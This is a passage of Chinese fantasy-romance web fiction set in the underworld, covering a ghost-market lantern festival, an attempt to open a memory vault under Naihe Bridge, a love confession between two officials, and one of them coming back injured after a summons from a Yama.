月亮不知什么时候悬在两人头顶上空,将他们的影子照得奇形怪状,岑黎费劲地在沈自珩背上扭过身子看地上的影子,忽然就喊着要下来。
“就快到了。”他停住脚步。
“我想下来,我可以走的。”岑黎被他慢慢放下来,脚踩到地上后她就推着他的背让他往前走。沈自珩没动,皱着眉看她。
“你想做什么?”
“踩影子。”
月光下两个人的影子都被拉得很长,沈自珩原本修长的身型十分养眼,但一看影子就显得招笑,岑黎勾着受伤的腿一步一跳地跟着他的影子,却始终没踩上。
沈自珩听着后面一蹦一蹦的脚步声突然转过身倒退着走,月白色长袍浸在月光中,显得他清冷又高傲。
岑黎移开一直在他身上的目光:“很久之前,有个小女孩和她的妈妈一起到奈何桥领孟婆汤,妈妈走在前面,小女孩就跟在后面踩着她的影子,我问她好玩吗,她说现在她长大了,其实不觉得好玩,但这是为数不多的她和妈妈能一起玩的游戏。”
“我没有小时候的记忆,所以……”岑黎踩住他影子的肩膀,勾着的腿把她的裙摆踢了起来,在空中划出一个好看的弧度,她说,“所以我觉得很好玩,委屈沈大人陪我玩啦。”
她又低下头蹦蹦跳跳地去踩别的地方,再抬头的时候沈自珩已经走到了她的面前,近到她甚至能闻到他衣服上那股淡淡的木头的味道。
他背着手,微微弯腰与她平视着开口道:“再陪你玩一会儿。”
“我……那个,玩够了。”岑黎的眼睛瞪大了一瞬,她往后躲了躲,不自觉地把目光移到旁边,“我们走吧,你要带我去什么地方来着?”
“早就到了,你看看这是哪里?”
他们正站在空无一人的桥上,桥下的奈河静静地流淌着,河面偶尔会掀起几个涟漪,但很快就被河面上方的咒网压了下去。
岑黎再次看向周围,这不是奈何桥吗?他们都走到奈何桥了!
“奈何桥?你带我来奈何桥干什么?”
沈自珩拿出亮着符文的白玉扇:“那日你不是看见我在这儿找记忆库。”他手指着他们脚下说,“但我只是找到了地方,连记忆库的大门都没看见,今日咱俩一起看看。”
白玉扇上的符纹在沈自珩站到桥正中央时发出了耀眼的光,沈自珩掐诀后流经桥下的河面就发生了变化。岑黎趴在栏杆上看着河面中间先是泛起了涟漪,涟漪越翻越大,很快从河底聚起了一个漩涡。
周围的怨灵都不见了踪影,一阵幽光后河底出现了一扇巨大的门。
那是一扇通体银白色的门,说是银白色又不完全是,更像是珍珠一般的颜色和光泽,某些角度看去还能看出其它颜色来,门上大面积雕刻了精细的图案,还用金色兽首做了门环,即便不是近距离也能看得出这扇门是精心打造。
岑黎的半个身子几乎都挂在桥外,她紧盯着那扇像是用珍珠做成的门,惊叹:“我的天……这门在河底太可惜了啊!”
“记忆库的门在河底怎么可惜?”沈自珩没听懂她的意思,记忆库不能让人轻而易举就找到啊,放在河底算是很稳妥了。
岑黎啧一声:“这门这么漂亮,应该放出来给大家看啊!观赏!欣赏懂不懂!”
沈自珩摇摇头不参与这个话题,有些严肃地将她从栏杆上扒下来:“我打算在鬼市开放的时候找机会打开记忆库。”
“去记忆库了啊。”薛礼坐在椅子上,拿着布仔细地擦拭着桌上摆放的花盆。他抬头看了一眼空中浮现出的画面,一挥袖将画面打散。他沉吟一阵笑道,“沈自珩啊,你可不能太心急了,答应我的成绩,我还没看到呢。”
记忆库的大门猛地发出一阵亮光后便暗淡下去,桥上的两人不解地看着它再次隐入河底,连白玉扇上的符纹也一并消失了。
岑黎率先开口:“呃……它有时间限制?”
沈自珩手中第三次掐诀,白玉扇仍没有反应。他拿着白玉扇细细查看,最后摇摇头,“不曾听闻。”
“那……扇子坏了?”
沈自珩不再说话,将白玉扇打开往河面上随手一扇,在原本的咒网上又添了一层金色的咒网,怨灵们连声音都来不
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及发出便被压入了河底。
岑黎嘴角一抽:“你这样,明天要过河的鬼魂怎么办……畅通无阻了啊。”
金色咒网消散不见了。
“岑黎大人,沈大人!”
三道叠在一起的声音喊着他们,岑黎吓得一缩脖子就去拽沈自珩,要不是腿不好她恨不得立刻跳进河里:“不会吧,这就被发现了?!”
沈自珩看向桥下,三人边朝他们挥手边走上桥来,正是李恒师徒三人。
“大人怎知我们认了师父了?”无恙笑眯眯地开口,手里的刻刀在指尖来回翻飞着。
无患看着心烦,对他脑袋呼了一掌:“能不能别转了,掉下去摔坏了你就该哭了。”
无恙停了动作,捂着脑袋控诉:“又打我!被你打傻了怎么办!你以前都不打我的!”
“就是因为以前打得不够你现在才这么无法无天……”说着无患又抬起手,露出了别在腰间的小袋,里面装着李恒送给他的刻刀和一只竹蜻蜓。
见两人跑远了,李恒呵呵笑着走上前就要给岑黎作揖:“岑黎大人,多谢……”
“不用不用!李大人!”岑黎连忙回礼,看了看在不远处挨打的无恙和正在教训弟弟的无患,她眯着眼睛笑嘻嘻地问,“李大人这是认了徒弟了?可让他们行了拜师礼?”
即便这么多年过去了,拜师礼在人们心中也仍然有着不一样的意味,不仅是师徒双方的称呼改变,也是在双方心里地位的改变,尤其是对于李恒来说。
“行过礼了,以后他们就是我的徒弟了。”李恒又冲他们两人行礼,诚恳地答谢道,“多谢二位大人那日劝解我,不瞒二位,他们行拜师礼时我心里只想着幸好,幸好他们好好的,也幸好我还能找到他们,能当他们师父,这一切都多谢二位。”
“大人不必谢,有这结果就是皆大欢喜了。就是我想悄悄问一句。”岑黎有些不好意思地看着李恒问,“钟馗大人那里还有小狗吗?”
无恙一阵风似的刮过来,对着身后追来的无患竖起手掌,两人都停了下来。他呼哧呼哧地喘着气:“没有啦,钟馗大人自己留了两只小狗,说是要陪着兜兜。大人也想养狗吗?鬼市开放了就会有小狗的。”
鬼市那家卖小狗的她当然知道,但是距离鬼市开放还有几天,而且兜兜长得好看,它生下来的小狗应该也很好看吧?
“但是兜兜的小狗肯定很好看……”
无恙不说话了。岑黎看了看李恒,李恒也不说话,只是一挥手让她看。
空中显现的画面上正是李恒家的院子,狗窝前有一只小狗正叼着绳结疯狂甩头,下一秒却凄厉地哀嚎起来。
岑黎有些着急地看他们:“怎么了?想你们了?饿了?想妈妈了?”
师徒三人看上去丝毫不焦急,站在原地没动,只有些无奈地叹气。
李恒关了画面示意无恙解释一下,无恙不理,看向无患,最后无患叹了口气说:“它的牙卡住了。”
岑黎挠了挠额角,牙能卡在绳结上的小狗,也挺特别的哈。
“今日已经第五回了。”
她看向沈自珩,神情很是迫切:“鬼市什么时候开,通知卖狗那人了吗?”
24. 三月三 逛花灯 八
沈自珩哭笑不得:“下周鬼市会准时开放。”他回想着兜兜给钟馗叼簿册,叼竹篮,看不出来生的小狗这么……
“笨。”无患捂着心口痛心疾首,“太笨了,第一天到家喝奶的时候一头栽了进去,差点把自己呛死;第二天在院子里乱跑一头撞上了狗房子,脑袋上起了好大一个包。后来不是牙齿卡在玩具上了就是把自己卡在栅栏上了,我师父把满院的东西都收干净了,就怕它再把自己卡着。”
李恒摆摆手哎呀一声:“小狗嘛,刚生下来会吃喝拉撒就可以了,要求不要太高,我又不需要它像兜兜那样给我干活。”
岑黎点头,那倒也是,养宠物本来就是只要它开心、身体好就行了,这么想着她又有些犹豫,要不问问钟大人愿不愿意给她一只?
无患无恙赶回去解救小狗牙,李恒则是留下跟他们商量鬼市开放当晚可以露面的百鬼名单。
“地府中不当差的都能到,我已然差人问过了,施大人我也问过了他能到,算上判官和二位大人,拢共有一百零二位鬼差能到,大人,人数上足够了吧。”
沈自珩伸出胳膊充当岑黎的拐杖,点头应着:“足够,多谢李大人。”
李恒摆摆手又交代了一件事:“当日守在关口的不知是哪个殿上的鬼差,还请大人务必提醒下去,若是看到了拘魂一定要扣下,范大人和谢大人看见拘魂鬼怕是要生气。”
拘魂鬼,在人阳寿将近时到达身边呼喊其名,待人的魂分离后便用锁链将其带往地府。
岑黎点点头:“哦我知道,前两天还被黑白无常揍了一顿,嘿嘿,李大人你听说了吗?”
拘魂鬼长相和人差不多,经常两人同行,身穿紫衣,那天他们钩了人后大摇大摆地在地府里逛,虽然地府中的鬼差大多都讨厌拘魂鬼,但他们并未作恶,也就随他们去了。
直到黑白无常拿着生死簿在街上将他们打了一顿。因为拘魂鬼行事随意,不按章法,带到地府的人没有在生死簿上记录,黑白无常扑了空,这才气势汹汹地找到他们,谢必安更是气得抡起哭丧棒锤得他们鼻青脸肿。
“所以我觉得拘魂鬼应该一时半会儿不会来了,除非他们还想挨打。”
“敢来我就再打一顿,大不了被扣钱!”谢必安两手空空地溜达到鬼市,正巧听见岑黎在和鬼差们说拦住拘魂鬼,他一想到那两个东西就手痒,恨不得立刻抓到他们再锤一通。
岑黎诧异地看他一眼,又看了看他身后:“哭丧棒不带就算了,八爷呢?”
谢必安揉了揉脖子原地坐下了:“核查生死簿呢,还有两页就结束了。”他来之前被范无咎摁着核查了好几本生死簿,现在地府管理严格,生死簿都得按地区划分了,无端增添好多工作量。
岑黎哦一声走到池塘边看着莲花的长势,明天就要重开鬼市了,可千万不能出差错……
“小黎,你的腿彻底好了吗?明天大概要走很多路呢。”谢必安手上装着花灯架子,崔判官让他们今天都到鬼市来走一遍流程免得明日忙中出错,他听了赶紧扔下生死簿过来,本以为可以借机不用工作呢,谁知道到这儿来还得干活。“这些花灯够了吧?往哪儿挂啊这都挂满了。”
鬼市角角落落都挂上了花灯,灯上有的是生肖图案,有的是神兽和瑞兽,也有民间传说故事,让人一看就移不开眼,有些店家为了招揽生意还将花灯上的图案换成了民间小说绘本,客人看见有趣的花灯就停了脚步,往店里看的时间也会久一些。
“我腿没事,你快点装架子,装完了跟我一起送到判官司去,奈何桥上也要挂。”岑黎跟他一起装着架子,这架子已经提前打磨过,接口光滑,很快就能装好一个,装好架子后再将画布和提手粘上就算做好了,不算很难。
谢必安手上拎着花灯:“那走吧,去判官司。”
沈自珩抱着手臂仰头看向踩在梯子上的岑黎:“待会儿我自己挂上不行吗?”
岑黎努力地伸长手臂去够着屋角下的铜钩,声音也跟着一起用力:“不……行!”她用食指勾住花灯顶上的提手往铜钩上挂,但总还是差一点才能挂上。
谢必安抱着梯子:“挂吧挂吧,一年也就能让你整这么一回。”正说着,岑黎下来了,手上还拎着花灯。
“没挂上?还是我来吧。”谢必安笑她,正要接过花灯却被她躲开,沈自珩走上前要接也被她阻止了。两人就见她拎着灯走到敞开的大门前,摸了摸两边的石狮,然后一抬手——将花灯挂在了石狮的獠牙上,远远看着竟有点石狮衔着花灯的效果。
只是实在有点滑稽,原本威武霸气的石狮露着獠牙镇宅辟邪,小孩看见许是都会被吓哭,如今一挂上花灯,石狮怒目圆睁的表情都能叫人觉得是因为衔着花灯而委屈了。
谢必安收了梯子走到石狮正面,上下左右地看了看,回手一拍沈自珩肩膀语重心长地说:“辛苦了。”
岑黎跟着看了看石狮,得意地将手背在身后警告:“过了三月三再摘哦!”她慢慢走到沈自珩面前,余光瞥见谢必安已经扛着梯子走出一段,她凑过去语速飞快地说,“我会在奈何桥上挂满花灯,到时有什么光也不容易被发现,明天我们大概碰不上,晚上在桥上见!”
还没等沈自珩回答,她已经追着谢必安走了,连蹦带跑的像只兔子。
但岑黎说得对,应该是见不上了。
沈自珩站在一众鬼差中百无聊赖地看着他们互相打招呼,他到得早,已经嘘寒问暖完一轮了,好不容易能偷个闲也只能站在旁边看着,今天大家都没穿官袍,五颜六色、叮叮当当……他把腰上的坠子拿了下来塞进衣服里,想了想又掏出来。
“沈大人是想让它安静吗?”
他还没转头就闻见了一阵熟悉的香气飘来,虽然平日不常闻见,但印象深刻。他手里的坠子被拿走,用一块手帕包了后又递了回来。
“这样就好啦。”岑黎把坠子递给他,“平时没见你带着它呢?”
沈自珩把手帕塞进胸前说了句:“用不上。”
一边的谢必安穿着一身白衣挤过来:“我天老爷,今天这么热闹!”
岑黎支起胳膊肘把他挤了回去:“你怎么还穿一身白,不知道的以为
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你来这儿抓人……你过去点!”
“我过不去!要掉下去了!”
鬼市还未开放,但鬼差们这么一聚,便也能看出来比原先的鬼市大了不少,周围还有许多空旷地。崔珏在前面交代着需要注意的事,岑黎听了两耳朵就开小差看向后面池子里的莲花。
云昭从莲花种下就天天往这儿跑,现在一池子莲花争奇斗艳的也不枉费她的心血。想到这儿她四处看了看,没看到云昭也没看到云,她问:“云昭呢?昨天我同她说了要来的。”
“来了来了。”
岑黎背后突然被拍了一下,云昭气喘吁吁地挤到她身边:“我来了,早上谛听也要来,我和它斗智斗勇来着。”
“今日是三月三,以往并不要求各位必须到鬼市来凑热闹,但今年鬼市重建,因此请各位到这儿来露个面,算是给新来的鬼看看咱们地府的面貌。”崔珏对着手上拿着的喇叭说,“同时也是给一些心有歹念之人的警告。”
云昭从口袋里抓出一把瓜子放在岑黎手心,自己又抓了一把开始嗑:“什么叫给歹人警告?鬼市开放能有什么危险?”
岑黎捧着瓜子转向谢必安,让他拿去一些,又看向沈自珩,见他摇摇头她才收了手也嗑起瓜子:“以往鬼市开的头几天都会有人趁着人多的时候偷东西,甚至还有想打开镇妖塔的,结果差点被里面关着的凶兽吓死。”
云昭作为刚上任不久的鬼差显然不明白为什么会有人想要打开镇妖塔,里面都是凶兽,打开把它们放出来祸害地府对他自己也没有好处啊。
“那人生前是个官吧,在官位上听到的都是阿谀奉承的话,没有一句真心的,听多了他就真觉得自己是他们口中的英雄,据他说,有人夸他英勇威武,养的宠物也应该是老虎一类的猛兽。”岑黎咔咔两下嗑开瓜子皮吐到手帕上。
“所以他就去开镇妖塔?”云昭难以置信。
旁边正和瓜子赌气的谢必安接话说:“他觉得镇妖塔里的凶兽才能配得上他。”
沈自珩也想起了那个荒唐的人,蹙起了眉,当时大风还不是魂体无法自由进出镇妖塔,塔中也无人看守,谁也没想到会有那么个癫人去惹凶兽。
“要我说地府里就应该更新律法,像现在的人间一样,违反什么治安什么法就给他关起来。”谢必安放弃了瓜子,将手里还剩许多的瓜子都倒进云昭手心,“我嗑不开,你们吃吧,我去买蜜饯。”
“我要蜜桃干!”岑黎冲他喊了一句。
谢必安点点头,看向云昭。
“杏干。”云昭笑眯眯地一口一颗瓜子,“七爷,你这嗑瓜子的水平不行啊。”
谢必安脸上的表情有些烦躁:“瓜子那么小一个,太难嗑了,还是蜜饯好吃。老沈,你要吃什么蜜饯,我给你一同带回来。”
“不用,我跟你一起去。”
两人往主街上走,找着卖蜜饯的小贩,鬼市要到晚上才开,现在街上没什么人。沈自珩冲着跟他打招呼的小鬼差点点头,见他走过后他一拍谢必安,面色严肃地说。
“老谢,我有事要你帮忙。”
25. 三月三 逛花灯 九
谢必安点点头不以为然地往前面的蜜饯铺走,腿还没迈出去就被沈自珩拽了一个踉跄。他费解地看他:“帮忙,啊,你说啊,我们这么多年的交情你说就是了。”
沈自珩紧皱眉头看着他,全然一副慷慨赴死的表情:“我要开记忆库。”
街上逐渐热闹起来,小贩们或是拎着篮子或是推着小车,都装满了要卖的东西到街上来,卖狗的小贩也推着小车来了,车上铺着软乎的被褥,被褥上一团一团毛茸茸的小狗正嗷呜嗷呜地叫着,像暖呼呼的棉花团子。
“老万,你是不是克扣它们口粮了,怎么叫得这么响啊?”旁边卖碗碟的妇人嗓门大得出奇,这么一喊周围的小贩都看了过来。
老万被他们惹红了脸,一边摆手一边为自己辩解着:“哪能啊,小狗就是不知饥饱,上午已经吃完半袋粮了,你看看现在才啥时候,再喂要撑死啦。”
“诶老万,还是你养的小狗好,我从你那儿买的那只现在生龙活虎的,壮实得很哦。”
老万停好车正把小狗一只只摆好,听到有人夸他也只是憨厚地笑笑:“壮实就好,壮实就好。”
“小黎是不是想买狗来着?”谢必安面色如常地问沈自珩,对着老万的方向努了努嘴,“老万家的小狗养得最好了。”
沈自珩啪的一下往谢必安胳膊上抽了一巴掌,旁人不一定清楚,但谢必安是知道的,沈自珩也就是表面上看着文质彬彬,实际手劲大得吓人。
“说话,帮不帮。”
“帮帮帮,你哪次找我帮忙干的是好事啊,我拒绝过吗!”谢必安揉了揉胳膊往旁边躲了两步,就应该让沈自珩到他们那儿去帮忙钩魂,就这手劲钩上了都不带逃的。“你要我帮什么啊,怎么帮?”
“帮我盯好鬼市,阎王们应该不会来,主要是判官们,如若问起我来你想办法搪塞过去就行。”岑黎拿着瓜子看着来来往往的摊贩,叮嘱着云昭说,“如果出了什么事你就告诉孟婆,我去了奈何桥后她就会过来。”
云昭点点头:“好!”
岑黎又说:“注意安全,不能让别人知道你知晓记忆库的事。”
云昭捏着拳头坚定地点头:“好!”说完她猛吸一口气,“我紧张……”
岑黎笑了笑,自己倒是没有什么紧张的感觉,可能是因为原本也没报什么希望,即便记忆库打开了,自己的记忆在不在里面,能不能拿回来都尚且不清楚。
打开记忆库还只是开始。
谢必安和沈自珩一人拎着一袋子蜜饯回来,两人走到她们身边一打开,梅子、蜜桃、酸枣……
“你们把蜜饯摊老板抓了?”云昭扒着袋子问他俩,“第一天就抓人啊?”
“没抓人啊。”谢必安有些摸不着头脑。
岑黎在一旁替云昭把话补全了:“那你们买这么多蜜饯?七爷,剩下的你都带回去啊。”
鬼门关附近响起一阵乐声,听上去欢快得很,配上一千零八阶两旁的花灯更是显得喜庆非凡,守在旁边的春生看着那些拿上路引的人竟然都毫不犹豫地踏上这看不到尽头的石阶,不禁咂舌:“厉害啊,一点不怕。”
旁边一个小姑娘听见了,上前问他:“怕什么?”
春生摆手:“你们很厉害,不怕地府吗?”
小姑娘竟然笑了起来:“为什么要怕地府,我小时候就听过一句话,不做亏心事,不怕鬼敲门。”
这话春生也听到过,但他不怎么在鬼门关守着,对这些刚到地府来的人知之甚少。“那你们不怕死吗,这里是死了的人才会来的地方。”
和小姑娘一起来的另一个姑娘终于爬到这儿,撑着膝盖气喘吁吁地说:“死都死了,还担心这个呢,真真,快走了,我想去鬼市,这位……大人?再见啦。”
杨真对春生一点头:“再见呀。”
杨真拽着她继续往上爬,爬到一半忽然笑出来:“林琪,你看现在这样熟不熟悉?像不像我们还活着的时候?”
说到这事林琪总有些不高兴,但对杨真她也说不出什么重话来:“你还好意思说。”
“对不起。”杨真拉着她的手逐渐松开了,苦涩地笑了笑,“是我害你的。”
林琪一把将她的手拽回来紧紧握着,握得特别用力,就像她们在悬崖边那样。她这会儿是真的生气了,咬牙骂她:“你再说我就真的跟你绝交了,都说了是意外!”
说完她叹了口气,还是没忍住责备着杨真,“但是你当时看见那人挂在悬崖边,怎么就没有一点犹豫呢,你才多重啊,你真觉得你能拉得住他吗?”
她看了看杨真细瘦得用一只手就能圈住的胳膊,虽然她们是最好的朋友,但她依然没有办法理解,瘦弱成这样的人见到有人坠崖竟会毫不犹豫地冲过去,哪怕是丢掉自己的命。
当时她们约好去爬山,两人打赌最后登上顶的人请客,杨真虽然瘦但是很敏捷,一个劲儿地冲在前面,也是她先发现了在悬崖边摇摇欲坠的人。
林琪是听见杨真的尖叫声冲上去的,她看见杨真时她整个人都趴在了地上,身子正一点点地往前滑,她喊着杨真的名字冲上去抱住她,但在顺着杨真伸出的手臂往下看的时候,她的心跳骤然停止了一瞬,随后像是要爆炸一般地狂跳着。
她抱着杨真尖叫着:“松手!松手啊!”
杨真没说话,拽着杨真手臂的男人大吼着:“不要!救救我!我要掉下去了!”那男人紧紧地拽着杨真的手腕,双脚不停地在空中蹬着,胡乱挣扎时蹬到了山壁却因为太滑无法落脚。
“你别动了!别动了!求求你!”林琪哭喊着,男人动一下她们就往前滑出一寸,杨真磨破的胳膊上的血正顺着皮肉往下流淌着,男人见了血更惊恐,再次往山壁上踩。
“掉下去的时候其实什么也看不清,我只记得身上很疼,尤其是胳膊。”杨真说着脸色有些发白,“太疼了,当时觉得我的手臂在他手里,就像一根、一根普通的木棍一样。”
“但是你为什么到最后也没有松开我呢,琪琪,只要松开我,你就能活。”杨真流着泪,扯起嘴角怪着林琪,“你应该松开我。”
她的胳膊垂在身侧,即便现在到了地府身上的病痛会消失,但她仍然觉得自己的胳膊上有只手,像铁钳一样牢牢地钳住她。
林琪圈住她的手腕,又从手腕滑上小臂轻轻捏了捏,就像每次数
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落她太瘦,要多吃饭那样。她冲着杨真笑笑:“都说了我不会松开你。”
她们拉着手踏上石阶往灯火通明的地方去,那里的光昏黄温暖,隐约还能听见拖长了的、混杂着的叫卖声,那些声音此起彼伏地传出好远。
“买好碗吃饱饭——”
“蜜饯——甜甜的蜜饯——”
沈自珩背着手和岑黎在鬼市街上闲逛,两边的摊位上都挂了花灯,大概是无患他们给的。
他瞧了瞧周围说:“子时鬼市中央会有舞狮和猜灯谜,我们到时去奈何桥,应该不会有问题。”
岑黎点点头:“好。”
“要去看看小狗吗?”沈自珩扭头问她,他答应了鬼市开放就陪她去选小狗。
岑黎停住了脚步看他,声音没什么起伏地说:“先不买,我们找个地方待会儿吧,这儿太吵了。”
说完她抬腿往鬼市东边走,一路经过了热闹非凡的瓦肆也只是歪头看了一眼,又继续往前走。
沈自珩一直跟在她身后看着,她步子不急但也不悠闲,是有什么事跟他说?
他看着岑黎的背影,她今日的发髻上簪了金色的发钗,是他从未见过的样式,衣裙似乎也是新的,裙摆随着她的步伐轻轻摇曳,宛如一朵雪白的花。
他喊了一声岑黎,但岑黎只是回头示意他跟上便不再多说。
他有些摸不准,正想开口问时岑黎停下了脚步。
他们已经穿过了整个夜市,来到了莲花池边,这里十分冷清,大概鬼们都还聚集在前面热闹的地方,没往这深处走。
“沈自珩,我有话想问你。”岑黎双手交握着放在身前,看着有些紧张。
他点点头:“你说。”
岑黎紧握双手,目光坚定地与他对视:“你喜欢我,对吗?”
她不需要去猜,单单看他的反应就知道答案是肯定的,甚至这个答案对她来说都不是很重要。
他愣住了,直直地看着她,有些局促地抿了一下唇,从嘴里蹦出来一个字:“你……”
一阵风吹来,岑黎的头发拂过了脸颊,她低头伸手去捋,沈自珩隐约看见她眼尾泛着红,但再抬头时她已毫无异常。
他握紧了拳又松开。
岑黎有些勉强地拎起嘴角笑笑,又蹙起眉叹道:“那你先听我说吧,我喜欢你。我和你讲过,但当时我们好像都当成了玩笑话,未曾预料到今天的情景。今天,此刻,我知道我喜欢你。”
她看向沈自珩轻轻笑了,“我也能察觉出你喜欢我。”
她仔仔细细地看着他,在心里悄悄对比着初见他时与现在的不同,脚下却往后退了一步。
“你喜欢我但不说,想必是有什么原因的,我不强求你同我讲,也不愿意你因为今天的事留个心结,因此,接下来我要对你说的话,请务必铭记于心。”
“虽然我喜欢你,但我是岑黎,孟婆庄管事,在认识你之前我已然事业有成,生活幸福,爱情对我来说是锦上添花。”
“我的意思是若爱情不是水到渠成,那没有也无妨。”
岑黎说完,向他们来的方向抬起手,“沈大人,我们该回鬼市了。”
26. 三月三 逛花灯 十
岑黎转身往来时的方向闷头走着,方才沈自珩看她的眼神太难过了,她怕自己会忍不住哭出来,然后问他,你明明喜欢我但为什么不说。
还可能会揪着他的领子。
岑黎这么想着险些被自己逗笑了,照自己这个性格,前世还不知做了多少荒唐事。
“对不起。”沈自珩的声音从身旁传了过来,有些低沉。
“这有什么好对不起的。”岑黎十分洒脱地一挥手,表现得像是刚刚被他踩了一脚那样无所谓。
他们回到了仅比陌生人相熟一点的关系。
“我们现在去哪儿?”沈自珩问。
岑黎有些惊讶,回答他的语气都小小地往上扬着:“沈大人,你要干什么你忘了吗?”
“没有,我记着。”他看了看周围的店铺,有些才刚刚亮起灯。
岑黎啼笑皆非地一挥手,虚空镜慢慢浮现在空中:“你看看现在几点。”
街上的人逐渐多了起来,有些姑娘们一手拿着花灯一手拎着一袋子蜜饯兴冲冲地往瓦肆里去,有个姑娘更是使尽了浑身解数就为了进酒坊,但胳膊却被旁边姑娘死死拉住,岑黎经过时听了个正着。
“你让我进去看一眼嘛——”
“不行。”
“求求你啦——”
岑黎走上前笑盈盈地说:“两位是要进去吗?”
身材十分瘦弱的姑娘朝她点点头,手上还拽着那位姑娘的胳膊:“本来是想进去的……但是……”
她发愁地看着面前正在撒娇的人:“她刚刚……喝醉了。”
岑黎看向沈自珩,鬼市西半边区域应该没有酒坊啊?见沈自珩点头,她又问这姑娘:“姑娘这是喝了什么酒?醉得有些厉害,需要我们帮忙吗?”
那姑娘连连摆手:“不用不用,前面有个卖玫瑰酿的小摊,我们没买,只是试喝了一点。”姑娘有些尴尬地说,“就是她酒量特别差……”
听完姑娘的话,岑黎伸手挠了挠额角,这酒量好像是挺差的。她让旁边正当值的小鬼差将这两位姑娘送到休息处,那姑娘连连道谢,就在她转身要走的时候姑娘拉住了她。
“那个……小姐姐,你是鬼差吗?”小姑娘凑在她耳边悄悄地问。
“对。”岑黎点头。
“旁边那位帅帅的也是鬼差吗?你们俩是同事?”小姑娘看向沈自珩,见他也在看着这儿,她立刻将头扭了回来。
岑黎犹豫了一下,虽然不是一个司但也算同事吧:“……是吧。”
小姑娘听了板着脸跟她说:“哦……那你注意点,那个鬼差好像喜欢你呢,刚刚一直盯着你看。”
岑黎哭笑不得:“我知道。”
小姑娘瞬间挺直了腰背,眼睛都瞪大了一圈:“你知道?他缠着你吗?要不要我帮你投诉他!”
岑黎也跟着瞪大了眼睛,话脱口而出:“不是!我也喜欢他!”
她清脆的声音猛地传开,不管是正在闲逛的鬼还是当值的鬼差都静止了一瞬,眼睛不受控制似的往沈自珩身上瞟。
“哦……”小姑娘揶揄的语气转了一百三十六个弯,“可以可以,他够帅,能配得上你啦!”
被鬼差扶着的醉鬼姑娘歪歪斜斜地站在旁边,还伸手拍着鬼差的胳膊:“真真……真真!陪我进去嘛!”
鬼差原先还能躲过巴掌,但醉鬼姑娘越来越兴奋,像安了弹簧一样在原地蹦跶,一边蹦一边喊着真真、杨真。
岑黎问小姑娘:“是在喊你吧?”
杨真惊呼一声:“对,我得带她走了,拜拜!”
岑黎向她道了谢,目送着她们走远,经过这么一遭原先心里那些不痛快好像也随之消失,浑身上下都轻松不少。她冲沈自珩说了句走吧便拎起了裙摆往奈何桥走去,佯装没看见沈自珩伸出又缩回的手。
奈何桥上一个鬼影都没有。岑黎站在桥上四面八方地看了一圈,感叹道:“七爷这设结界的本事还是厉害,人不知鬼不觉啊,我怎么就学不会呢。”
鬼市上的游客络绎不绝,但他们像是都没看见横跨在鬼市中央的奈何桥一样,纷纷选择从旁边的小桥上过,岑黎朝着他们挥挥手也没人有反应。
沈自珩走到桥边拿出白玉扇:“开始吧。”
白玉扇从扇柄开始浮现出复杂的符纹,随后像藤蔓一般往上攀着直至完全覆盖住白玉扇。他面对着奈河伸手掐诀,岑黎站在旁边探出半个身子去观察河面的变化。
桥下的河水流淌着,今晚的月光好似格外地亮,均匀地铺开在河面上,冷冷清清的。
岑黎发出疑惑的鼻音,看了看沈自珩,又往前探了探身。
沈自珩也看着河面,抬手又掐了一遍诀,白玉扇上的符纹毫无变化,河水也是。
岑黎直起腰问他:“七爷不会把这块河水也设了结界吧?”她伸手在原本应该露出记忆库的那块地方画了个圆。
“不会,我跟他说了方位,让他一直设到了渡口。”他指了指前面。
“那这是为什么?”她转头看沈自珩。
“阎王找我。”沈自珩指了指白玉扇,上面已经没有符纹了,刚刚传来的讯息也已经消失,岑黎凑过去看也没看见。
“找你干什么?哪位阎王?”
沈自珩表情凝重地看着她:“薛礼。”
“他知道我要进记忆库。”
“我知道啊,当时不是他给你的权限吗?”
沈自珩摇摇头,不知道是不是因为在月光下,他的脸色似乎有些白:“不是当时,是现在,现在他知道我要进记忆库。”
沈自珩独自去了阎王殿,起先岑黎要跟去,他摆摆手,说出了让人胆战心惊的话:“如果我去了回不来,这个记忆库就需要你来开了。”
岑黎听懂了。
“既然记忆库权限是阎王给你的,那今日喊你去应该不会是为了这事要罚,即便是找到了你的什么过错,也不会罚得比擅闯记忆库重。”岑黎抬手搭上他胳膊安抚地拍了拍,“你放宽心。”
他笑了笑,岑黎看着他从结界中走出去,穿过喧闹的鬼市走向阎王殿。
再次看见他的时候,他躺在床上不省人事,身下垫着厚厚的被褥,衣服上慢慢地洇出一小片一小片的血红。
谢必安在他床前忙得脚不沾地,见她来了根本连
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招呼都顾不上打,一指厨房说:“你来了正好,帮我看看那锅药好了没。”
岑黎愣愣地应了脑子里却是一片空白,脚下的步子迈出去许久才想起来自己要去厨房。
锅里的药咕嘟咕嘟地煮着,谢必安从外面走进来:“小黎,会煎药吗?”
“啊?哦,会的,会的。”岑黎瞟了他一眼又低下头盯着面前的砂锅,这里面放了很多种药,大部分她都没见过。
谢必安站在旁边拿着空碗递给她:“那有纱布,用纱布过滤一下倒出来吧。”
“好。”岑黎接过碗,拿过一旁的纱布盖在碗上后又伸手去拿砂锅,被谢必安一把摁住。
“烫啊!”
岑黎收回手一声不吭地去找防烫手套戴上又要去端砂锅,旁边伸过来一只手把仍在烧着的灶火关了。
谢必安看着她魂不守舍的样子叹了口气。
她的动作停了停,谢必安站在旁边没出声,过了一会儿岑黎端起砂锅往碗里倒着,药材都被滤在纱布上,已经被浸成了深褐色,只有几株小的草药仍然是原本的颜色。
“治灵力的草药。”岑黎看着那草药,正是之前地藏让云昭拿给她的草药,“他伤得到底有多重?”
“跟你当初一样,灵力不稳定,其他的都是皮肉伤,你不用太担心。”谢必安站在沈自珩床边看着岑黎给他喂药,“你看,他还能喝药不是。”
他说了是想让岑黎放宽心,却没想她听见这句话后眼眶立刻就红了,强忍着鼻酸点点头:“能吃药就是好事。”
一滴泪悄然落进碗里,即刻溶入了药中,岑黎用勺把药送进沈自珩嘴里。
“七爷,你……”岑黎站在石狮边,它们嘴里仍挂着那两盏花灯,她当时不让他拿下来,他就真的没拿。
“老沈这儿你放心,我等他好起来了再走,反正他家房子大我随便找间房住就是了。”谢必安自然是知道她要说什么,抬手轻轻拍了拍她的肩,“有事我会跟你说,不要担心。”
岑黎点点头:“现在奈河渡口和孟婆庄都是孟婆一人在忙,明日阎王们要听鬼市目前的情况,沈自珩他去不了,我得去。这里就辛苦七爷了。”她伸手把石狮嘴里的花灯拿了下来。
“去吧,公事不可懈怠。”谢必安看着她说了一句,“其他的等他醒了再说。”
